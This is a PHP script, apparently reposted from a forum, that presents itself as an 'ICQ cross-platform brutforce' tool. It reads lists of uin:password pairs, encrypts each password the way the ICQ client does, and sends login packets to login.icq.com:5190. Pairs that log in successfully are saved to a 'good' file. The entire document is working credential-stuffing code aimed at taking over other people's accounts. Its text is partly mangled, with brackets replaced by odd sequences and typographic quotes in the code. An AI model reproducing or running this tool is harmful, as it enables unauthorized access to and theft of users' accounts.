[php]
<?
## ICQ cross-platform brutforce by StepST
## (c)oded by G_Mitrich and Stepbl4b
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
## Options:
## ~~~~~~~~
$uins = file(‚uins.txt‘); # File with the list of uins
# (uin:password)
$goodf = ‚good.txt‘; # File for output right
# combinations
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
## Credits: StepST , http://Step57.info/
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
function _fmod($op1, $op2)
{
return $op1 – floor($op1 / $op2) * $op2;
}
function XorInt($p1, $p2)
{
$binres = “;
for ($Pos = 0; $Pos < 8; $Pos ++)
{
$binres = abs(_fmod($p1, 2) – _fmod($p2, 2)).$binres;
$p1 = floor($p1 / 2);
$p2 = floor($p2 / 2);
}
$Result = 0;
for ($Pos = 0; $Pos < 8; $Pos ++)
{
$Result = $Result * 2 + $binres***91;$Pos***93;;
}
return $Result;
}
function CryptPass($ParamPassword)
{
$PassTable = array(243, 38, 129, 196, 57, 134, 219, 146,
113, 163, 185, 230, 83, 122, 149, 124);
$Result = “;
for ($Position = 0; $Position + 1 <= strlen($ParamPassword); $Position ++)
$Result = $Result.chr(XorInt(ord($ParamPassword***91;$Position***93;),
$PassTable***91;$Position***93;));
return $Result;
}
function Connect($ParamServer, $TimeOut)
{
@$ServerAddress = explode(‚:‘, $ParamServer);
@$Result = pfsockopen($ServerAddress***91;0***93;, $ServerAddress***91;1***93;, $ErrN,
$ErrStr, $TimeOut);
@set_socket_blocking($Result, 0);
return $Result;
}
function ReadStr($Socket, $Size, $TimeOut)
{
$Time = time();
@$Result = fgets($Socket, $Size + 1);
while ((strlen($Result) < $Size) and ($Time + $TimeOut > time()))
@$Result = $Result.fgets($Socket, 1 + $Size – strlen($Result));
return $Result;
}
function WriteStr($Socket, $Buf, $TimeOut)
{
$Time = time();
@$Result = fputs($Socket, $Buf);
while (($Result < strlen($Buf)) and ($Time + $TimeOut > time()))
@$Result += intval(fputs($Socket, $Buf***91;$Result***93;) != 0);
return $Result;
}
function CheckUIN($ParamServer, $ParamUIN, $ParamPass, $TimeOut)
{
$Socket = Connect($ParamServer, $TimeOut);
if ($Socket == 0)
{
return -1;
}
$Buffer = ReadStr($Socket, 10, $TimeOut);
if ((strlen($Buffer) != 10) or (($Buffer***91;0***93;.$Buffer***91;1***93; != chr(42).chr(1))
or ($Buffer***91;4***93;.$Buffer***91;5***93; != chr(0).chr(4)) or ($Buffer***91;6***93;.$Buffer***91;7***93;.
$Buffer***91;8***93;.$Buffer***91;9***93; != chr(0).chr(0).chr(0).chr(1))))
{
@fclose($Socket);
return -1;
}
$CryptPassword = CryptPass($ParamPass);
$CliProf = ‚ICQ Inc. – Product of ICQ (TM).2003b.5.56.1.3916.85′;
$Buffer = chr(0).chr(0).chr(0).chr(1).
chr(0).chr(1).chr(0).chr(strlen($ParamUIN)).$ParamUIN.
chr(0).chr(2).chr(0).chr(strlen($CryptPassword)).$CryptPassword.
chr(0).chr(3).chr(0).chr(strlen($CliProf)).$CliProf.
chr(0).chr(22).chr(0).chr(2).chr(1).chr(10).
chr(0).chr(23).chr(0).chr(2).chr(0).chr(5).
chr(0).chr(24).chr(0).chr(2).chr(0).chr(37).
chr(0).chr(25).chr(0).chr(2).chr(0).chr(1).
chr(0).chr(26).chr(0).chr(2).chr(14).chr(144).
chr(0).chr(20).chr(0).chr(4).chr(0).chr(0).chr(0).chr(85).
chr(0).chr(15).chr(0).chr(2).’en‘.
chr(0).chr(14).chr(0).chr(2).’us‘;
$Buffer = chr(42).
chr(1).
chr(rand(0, 255)).chr(rand(0, 255)).
chr(0).chr(strlen($Buffer)).
$Buffer;
WriteStr($Socket, $Buffer, $TimeOut);
$UINlen = strlen($ParamUIN);
$Buffer = ReadStr($Socket, 12 + $UINlen, $TimeOut);
@fclose($Socket);
if (strlen($Buffer) < 12 + $UINlen)
return -1;
if ($Buffer***91;strlen($Buffer) – 1***93; == chr(5))
return 1;
else
return 0;
}
function AddUIN($uin1, $password1, $goodf)
{
$File = fopen($goodf, ‚a‘);
$Ln = chr(13).chr(10);
echo ‚ Success ‚.$uin1.‘:‘.$password1.‘ ‚;
fputs($File, $uin1.‘:‘.$password1.$Ln);
fclose($File);
return 0;
}
function Main($uins, $goodf)
{
error_reporting (E_ALL);
set_time_limit(0);
echo "
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ##
## ICQ cross-platform brutforce by StepST ##
## (c)oded by G_Mitrich and Stepbl4b ##
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ##
## Credits: StepST , http://Step57.info/ ##
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ##
";
$Ln = chr(13).chr(10);
echo ‚Start.‘.$Ln.$Ln;
$AuthServAddr = "login.icq.com:5190";
$TimeOut = "5";
$ccp=round(count($uins)/100)+1;
$cct=round(count($uins)/35)+1;
$cca=count($uins);
$i = 0;
$i=$i;
while ($i < $cca)
{
$uin1=explode(":", trim($uins***91;$i***93;));
$PassWord=$uin1***91;1***93;;
$UIN=$uin1***91;0***93;;
$Check = CheckUIN($AuthServAddr, $UIN, $PassWord, $TimeOut);
if ($Check != -1)
{
if ($Check == 1)
{
AddUIN($UIN, $PassWord, $goodf);
}
$i++;
if($i/$cct==round($i/$cct)){
echo " ".round(($i/$cca)*100)."% ";
}
if($i/$ccp==round($i/$ccp)){
echo "=";
}
}
}
echo $Ln.$Ln.‘ Finish.‘.$Ln;
}
Main($uins, $goodf);
# from http://step57.info/releases/ICQbrut_Step57.txt
[/php]